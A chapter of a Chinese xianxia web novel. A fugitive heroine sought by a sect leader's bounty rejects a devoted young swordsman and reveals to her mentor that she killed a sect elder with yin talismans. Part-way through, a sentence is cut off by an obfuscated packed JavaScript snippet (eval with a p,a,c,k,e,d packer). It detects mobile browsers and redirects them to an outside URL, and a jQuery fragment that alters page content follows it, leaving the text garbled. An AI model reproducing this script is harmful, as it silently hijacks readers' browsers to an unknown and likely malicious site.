又过了一日,花朝节结束,街上的人潮明显少了很多,那篮花还摆在床头,依旧开得灿烂,只有一点缺水干瘪的样子,宋无命舍不得扔,洒了点杯中凉了的水继续放着。
今日的客栈,比以往更加嘈杂。楼下的食客围坐一起,绘声绘色不知在讨论什么,看神情似乎是什么值得兴奋的事情。
拦住正好回来的店小二,“底下在谈什么呢,这么热闹?”
住了几日的客人,有是位风姿绰约的姑娘店小二印象深刻,即使对方始终带着面纱,但也能看出气质不俗,店小二笑着对她说,“他们在谈踏云天颁布的悬赏令。”
宋无命的心口顿时一沉,玉京子是发现她不在,要抓她?
虽然早有预料,但未免快了些。
“听说是那位玉宗主的夫人闹脾气跑了,玉宗主忙着天涯海角地找人等着回去成亲呢。”
宋无命:“......”妻子?成亲?
因为悬赏令奖励丰厚,店小二心中意动,便偷偷藏了一张,他一手端茶水,一手从怀里掏出告示,“姑娘你看,宗主夫人值一万金和灵石若千呢!”
这是他一辈子都花不完的钱。
宋无命瞧着悬赏令上神态逼真的画像,下意识摁住脸上的面纱,店小二凑的近,抬眼便被一双烟眉柳目吸引,忍不住惊呼:
“我才发现姑娘的眉眼和画像上的宗主夫人很相似呢。”
宋无命的后背顿时僵住,敛下眼底神色,“只是脸型相似而已,我生得丑陋,哪里比得上宗主夫人貌美。”
店小二只当她是那群修士的同门,安慰几句没再多问,忙着赶紧送茶水。
像是忽被暴露天光之下的老鼠,宋无命只想回到房间躲起来。
戏谑的声音截断她的脚步,“姑娘过于谦虚了,要生的丑陋,怎么会让我的木头大师兄丢了魂似的找不着北。”
“张罗阳。”
一声呵斥堵住了他的嘴。
宋无命最不想看见的场景还是发生了。
少年点漆的眸子轻而易举捕捉到她躲闪的眼神,紧抿的唇角极力克制,捏剑用力发白的指尖还是暴露了忍耐的情绪。
宋无命知道他一定发现了。
张罗阳手里也拿着一张告示,嘴里说着阴阳怪气的话,“大师兄,你不是一直愧疚当初没能从冯阎手里保下这个女人,看,人家摇身一变已经成了宗主夫人嫁入灭师门的仇家。”
“闭嘴,张罗阳。”黎九曜冷着脸再次警告。
其他弟子插话劝架,“张师弟也是为大师兄你抱不平,大师兄要不是当初不死心偷偷去踏云天被师父发现,也不至于被关到现在。”
“你们都住嘴。”
气氛瞬间凝滞,宋无命的耳边也嗡声作响,回神时,四周只剩下她和黎九曜。
“你……当初来过踏云天?”
避开底下窥探的视线,黎九曜拉她进入房间,关上门才开口。
“我学剑道是为平不义之事,而不是明哲保身见死不救。”
宋无命说不出心里什么感受,有股酸涩堵在心口很难受,“这几天帮我隐瞒身份,也是因为愧疚?”
他的声音迟疑了片刻,“我想帮你不单是愧疚负罪,我……只是想帮你而已。”
他的嗓音逐渐干涩,“你……真的是踏云天的宗主夫人?”
宋无命的呼吸瞬间被扼住,几乎无法回答这个问题。
黎九曜紧紧追问,“是不是踏云天的人强迫你?”
理智告诉她应该顺势装下去,这个正直善良的蠢货一定会拼命护她。
她可以利用他的愧疚心,不费吹灰之力,将黎九曜玩弄于股掌之中。
甚至利用他对付玉京子,帮她报复踏云天。
这么善良的人怎么会拒绝。
“是吗?”黎九曜还在急切求证般追问。
可少女却低声笑了,“你觉得我身上有什么价值值得踏云天的玉宗主不惜赌上自身名誉也要得到?”
除了,喜欢还有什么理由值得那位玉宗主如此广而告之。
少年的拳头捏得更紧,“你是心甘情愿吗?若不是……”
嗤笑声打断他,“你想要得到什么答案?我要说玉宗主要强娶我,你要去拼命?”
玉指从他眉头滑到唇上,“怎么,你是爱上我了吗?”
明明手指温凉,所到之处却撩起一片火星。
她靠得更近了,气息几乎吹在脸颊,“我还挺喜欢你的,不用哄骗几句就能成为我手里的剑。”
温柔的声音却似一盆冰水从头而降,浇灭心口的滚烫,全身都被冻结。
“游戏结束了,”她将一手可握的手腕放在她眼前,“考虑到这几天你对我的照顾,我可以让你押着我去领赏。”
他手里的剑柄似乎在颤抖,“那位玉宗主不是好人。”
宋无命歪着头捂嘴笑出声,“那你觉得我是?”
房门被用力打开,又关上。
白龙崖的弟子匆匆离开。
“大师兄不和那位姑娘告个别吗?”
少年不语,脚步飞快。
张罗阳发现他手里的剑震动不停,顿时惊道:“师兄你的破邪剑动了,是邪修追来了吗?”
少年脚步顿了下,手上用力,破邪剑顿时安静,“你看错了。”
张罗阳挠头,明明就动了,难道他眼神不好?
楼上窗台的视线才显露出来,少女面无表情盯着离开的背影,扶着窗台的指尖抠出一道印痕。
她的身后贴来一人,“怎么舍不得?”
“我瞧他比那条自以为是的龙好多了,可是为你掏心掏肺。”
江独枝也歪着身子往外看。
“一个善良的蠢货而已,指望他帮我报仇,不如指望我自己。”
江独枝啧啧两声,“果然本领长了,胆子也大了,你还想灭掉踏云天不成?”
宋无命的声音冷硬似冰,“一群道貌岸然,罪恶深重的乌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15764743|174523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
合之众难道不该杀?”
“我果然没看错人,”江独枝眼神中带着兴奋,“有仇就该痛痛快快地报,就算为此而死,也不用把遗憾带进坟墓。”
“一群戴高帽子的假正义,早该下台了。”
她单手靠在宋无命肩上,“乖徒弟我看好你哦。”
宋无命转身让她的手落了空,“你找我做什么,不是正快活吗?”
“还不是那条发了疯的黑龙忽然转头带人围过来,得亏我跑得快。”
街上明显多了隐藏在人群中身着踏云天流云弟子服的人,江独枝半掩窗口,坐在桌上倒了杯茶。
“万金悬赏追妻,闹这么大动静,你做的应该不仅仅是从流云峰跑出来吧?”
重金利诱,又迫不及待地冠上宗主夫人的名头,怎么看都有点……急。
宋无命料到自己会被追拿,没想到玉京子会广而告之他要和自己成婚。
玉京子知道一个小小的流云峰已经困不住她了,他怕有人帮她逃脱囚笼,更怕她已经有了脱离掌控的本领。
“我出来的时候顺便杀了个人。”
江独枝执杯的手顿住,“是谁?”
“冯阎。”
一口茶喷了出来,“踏云天的死老头冯阎?”
宋无命的表情不像是在开玩笑,江独枝愣了好一会儿,她虽然许久没见过宋无命不知她成长到什么地步。
但,不至于短短三年,就能在踏云天修士的眼皮子底下杀了一名金丹长老吧。
见她满脸不信,宋无命解释,“我用阴阳符开出一条阴间路,把冯阎引到乱葬岗。”
“死在冯阎手里冤魂无数,正好可以控制。”
江独枝眸色凝重,“……你可真是天赋异禀,连阴阳符都能学会。”
“吸收阴气简直和吃饭喝水一样简单,比旁人快上百倍不止。”她的目光凝视宋无命毫无血色的脸,“当然成为邪祟也比旁人快上百倍。”
“你现在已经和半鬼差不多了。”
江独枝注意到她始终坐在窗口背光的阴影处,“午时阳气最盛,你现在恐怕已经无法暴露在阳光下了吧。”
藏在桌下的手被江独枝忽然抓出,手背灼烧的痕迹让她并不意外。
“你要想好好做人,就不要急于求成,少用阴符,修士灵力枯竭还要承受筋脉刀割之痛,你真当你学了点本事可以为所欲为。”
江独枝不知道她乱用了多少阴气,才弄成这副鬼样子。
见她不为所动冥顽不灵的样子只觉得头疼,“成为邪祟没有来生,没有出路,在天道之下苟且偷生。”
江独枝不知道教她学阴符是好是坏。
看着眼前这个邪祟对自己的劝解,宋无命心口微动,“你现在是后悔了吗?怕自己没有未来?”
“我做事从不后悔。”江独枝没有半点犹豫。
宋无命:“那我也一样。”
她想做的事,足够下十八层地狱了,哪还奢求来生。